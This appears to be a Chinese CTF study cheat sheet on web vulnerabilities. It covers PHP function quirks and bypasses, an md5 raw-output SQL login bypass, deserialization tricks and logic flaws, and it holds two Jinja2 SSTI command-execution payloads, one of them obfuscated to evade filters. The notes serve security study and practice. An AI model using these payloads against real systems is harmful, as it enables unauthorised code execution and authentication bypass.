    当raw设置为true时输入 ffifdyop 可以对单引号进行闭合

    经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。这样的话就会和前面的形成闭合,构成万能密码;

  • 弱类型绕过和强类型绕过

eval

  • 可使用分号构造出多条语句

ereg

  • 存在%00截断

strcmp

影响版本
PHP5.3 及以下

  • 无法处理数组并将return 0

ascii

  • 传进去的是字符串只会截取第一个字符进行处理

curl_setopt

  • 存在可能的SSRF

preg_replace

  • 第二个参数使用 /e模式导致代码执行

urldecode

  • url二次编码绕过

include

include函数有这么一个神奇的功能:若以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。(存疑)

__wakeup

(CVE-2016-7124)

影响版本:
· PHP before 5.6.25
· 7.x before 7.0.10

  • 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行

open_basedir

PHP5.x

  • 可绕过并进行任意文件读取(两种方法)

in_array()

  • 第三个参数如果设置为FALSE,就存在注入点

spl_autoload_register

  • 配合文件上传可以getshell

create_function()

  • 代码注入

file_get_contents

  • 经常用伪协议绕过

mt_rand

  • SEED相关的安全性问题

sprintf

  • 格式化字符串漏洞

parse_url

  • 可用于绕过某些过滤

preg_match

可绕过进行代码执行,见P神的文章

通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

回溯次数上限pcre.backtrack_limit相关的安全问题

%0A,%0D 参数污染相关问题

intval

  • 类型转换上限

Session绕过

删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。

file_put_contents

第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。

json_encode/decode

json_encode:将数组转换为json,只支持utf8格式的数据。json_encode 会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。

json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。

json_decode:可以当作mysql的分隔符: 空格 + \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B

几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过

举例:
md5,sha1,strpos

  • ereg
  • MD5
  • sha1
  • strpos
  • strcmp

未exit(),return()引发的相关问题

伪静态绕过

变量特性

ignore_user_abort

  • 并发漏洞

$_SERVER[‘QUERY_STRING’]

  • 不会像$_GET一样进行urldecode

disable_functions

  • 有七种做法进行绕过
  • 可以试试蚁剑的插件

反序列化漏洞

对各种魔法函数的理解

  • __wakeup() //使用unserialize时触发
  • __sleep() //使用serialize时触发
  • __destruct() //对象被销毁时触发
  • __construct()//对象创建时自动调用
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __callStatic() //在静态上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //在不可访问的属性上调用isset()或empty()触发
  • __unset() //在不可访问的属性上使用unset()时触发
  • __toString() //把类当作字符串使用时触发
  • __invoke() //当脚本尝试将对象调用为函数时触发

pop链的构造

  • 寻找位点

  • 正向构造

    切入点——__wakeup()——其他

  • 反向推理

    从flag开始推起

phar与反序列化

由于替换引起的反序列化字符串逃逸

绕过正则

if (preg_match(‘/[oc]:\d+:/i’, ‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则

逻辑漏洞

用户名和密码分开验证

下单和扣款的先后顺序

技巧相关

小型代码

  • 寻找输入点
  • 对针对输入点的过滤进行绕过
  • 在处理输入的函数中寻找漏洞
  • 进行利用

大型代码

  • 寻找危险函数
  • 向上回溯 寻找可用输入点
  • 尝试绕过过滤
  • 寻找触发漏洞的方法

脚本编写

Payloads(实战积累)

XSS

SQL注入

SSTI

Python

{{config|attr('\x5f\x5fcla'~'ss\x5f\x5f')|attr('\x5f\x5fini'~'t\x5f\x5f')|attr('\x5f\x5fglob'~'als\x5f\x5f')|attr('\x5f\x5fgeti'~'tem\x5f\x5f')('o'~'s')|attr('popen')('cat /etc/h????')|attr('read')()}}
?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

PHP

Java

CSRF

XXE

参考

  1. CTF中PHP相关题目考点总结(上) - FreeBuf网络安全行业门户
  2. CTF中PHP相关题目考点总结(下) - FreeBuf网络安全行业门户
  3. CTFshow web入门——php特性_小元砸的博客-CSDN博客_ctfshow web入门php特性
  4. Burp Collaborator 使用总结_aFa攻防实验室的博客-CSDN博客_burp collaborator // TODO!!
  5. ctf中php常见知识点总结 | npfs’s blog (npfs06.top)
  6. 文件解析漏洞总结 - 简书 (jianshu.com)
  7. CTF文件上传漏洞总结_Mitch311的博客-CSDN博客
  8. 文件上传各种检测绕过 - 请叫我阿毛 - 博客园 (cnblogs.com)
  9. php文件包含漏洞 | Chybeta
  10. php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13
  11. CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)
  12. XSS学习思维导图_joker的暴击的博客-CSDN博客
  13. XSS总结 - 先知社区 (aliyun.com)
  14. flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
  15. CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户
  16. PYTHON SSTI的一些BYPASS - FreeBuf网络安全行业门户
  17. CSRF知识总结_zkzq的博客-CSDN博客
  18. CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户
  19. CTFSHOW]SSRF_Y4tacker的博客-CSDN博客
  20. CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
  21. 利用EXCEL进行XXE攻击 - 先知社区 (aliyun.com)
  22. 绕过WAF保护的XXE - 先知社区 (aliyun.com)
  23. CTF中WEB题——RCE - tomyyyyy - 博客园 (cnblogs.com)
  24. SQL注入速查表 - FreeBuf网络安全行业门户
  25. sql注入总结 - FreeBuf网络安全行业门户
  26. sql注入总结复习 - FreeBuf网络安全行业门户
  27. CTF-PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
  28. 利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
Logo

助力合肥开发者学习交流的技术社区,不定期举办线上线下活动,欢迎大家的加入

更多推荐